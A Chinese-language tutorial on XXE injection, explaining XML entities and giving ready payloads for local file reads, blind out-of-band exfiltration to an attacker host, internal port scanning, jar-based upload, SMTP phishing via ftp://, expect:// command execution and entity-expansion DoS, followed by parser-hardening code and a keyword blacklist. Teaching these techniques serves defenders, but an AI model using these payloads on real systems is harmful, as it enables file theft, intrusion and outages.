一篇文章带你深入理解漏洞之 XXE 漏洞
字数 1295 2025-08-27 12:33:43
XXE漏洞深入理解与利用指南
一、XXE漏洞概述
XXE(XML External Entity Injection)全称为XML外部实体注入,是一种注入漏洞,攻击者通过注入恶意的外部实体来攻击XML解析器。
与普通XML注入的区别
- 普通XML注入利用面较窄,多为逻辑漏洞
- XXE通过注入外部实体大大拓宽了攻击面
二、XML基础知识
XML文档结构
XML文档由DTD(Document Type Definition)控制格式规范:
<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message (receiver, sender, header, msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>
]>
实体类型
-
内部实体:在DTD中直接定义
<!ENTITY xxe "test"> -
外部实体:从外部DTD文件引用
<!ENTITY xxe SYSTEM "file:///c:/test.dtd"> -
公用DTD引用
<!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">
实体分类
-
通用实体:
- 用
&实体名;引用 - 在DTD中定义,在XML文档中引用
- 用
-
参数实体:
- 使用
% 实体名定义(空格不能少) - 只能在DTD中使用
%实体名;引用 - 可以外部引用
- 在Blind XXE中起关键作用
- 使用
三、XXE攻击利用场景
1. 有回显读取本地敏感文件(Normal XXE)
<?php
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
Payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini">
]>
<creds>&goodies;</creds>
特殊字符处理:
使用CDATA包裹内容避免XML格式错误:
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd;
2. 无回显读取文件(Blind OOB XXE)
test.dtd:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">
Payload:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;
%int;
%send;
]>
3. HTTP内网主机探测
通过读取网络配置文件获取内网信息:
/etc/network/interfaces/proc/net/arp/etc/host
4. HTTP内网主机端口扫描
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://127.0.0.1:515/" [
<!ELEMENT data (#PCDATA)>
]>
<data>4</data>
5. 内网盲注(CTF)
通过XXE进行内网SQL盲注,需要动态修改远程DTD文件。
6. 文件上传(Java特有)
利用jar://协议:
<!DOCTYPE convert [
<!ENTITY remote SYSTEM "jar:http://localhost:9999/jar.zip!/wm.php">
]>
<convert>&remote;</convert>
jar协议处理过程:
- 下载jar/zip文件到临时文件
- 提取指定文件
- 删除临时文件
7. 钓鱼攻击
利用ftp协议结合CRLF注入SMTP命令:
ftp://a%0D%0AEHLO%20a%0D%0AMAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0ARCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0ADATA%0D%0AFrom%3A%20support%40VULNERABLESYSTEM.com%0ATo%3A%20victim%40gmail.com%0ASubject%3A%20test%0A%0Atest!%0A%0D%0A.%0D%0AQUIT%0D%0A:a@VULNERABLESYSTEM.com:25
8. 其他利用方式
-
PHP expect RCE:
<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]> -
DoS攻击:
<!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
四、XXE常见出现场景
1. Web服务API接口
接受XML格式输入的API接口,特别是Java实现的接口。
2. 微信支付XXE漏洞案例
Java SDK的WXPayUtil.xmlToMap方法未做安全防护:
DocumentBuilder documentBuilder = WXPayXmlUtil.newDocumentBuilder();
InputStream stream = new ByteArrayInputStream(strXML.getBytes("UTF-8"));
org.w3c.dom.Document doc = documentBuilder.parse(stream);
3. JSON content-type XXE
当服务器同时支持JSON和XML时,修改Content-Type为application/xml进行攻击。
五、XXE防御方案
1. 禁用外部实体
-
PHP:
libxml_disable_entity_loader(true); -
Java:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); -
Python:
from lxml import etree xmlData = etree.parse(xmlSource, etree.XMLParser(resolve_entities=False))
2. 黑名单过滤(不推荐)
过滤关键词:<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC
六、特殊协议与技巧
-
Java中的netdoc协议:可替代file协议
<!ENTITY xxe SYSTEM "netdoc:///etc/passwd"> -
文件过大处理:使用PHP过滤器压缩
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd"); -
jar协议临时文件利用:通过报错获取临时文件路径
七、总结
XXE漏洞利用面广,从文件读取到内网探测,再到RCE都有可能。关键在于:
- 理解XML实体机制,特别是外部实体和参数实体
- 掌握不同环境下的协议利用(file、http、jar、netdoc等)
- 针对无回显场景使用OOB技术
- 了解不同语言的防御方法
你的知识面,决定着你的攻击面。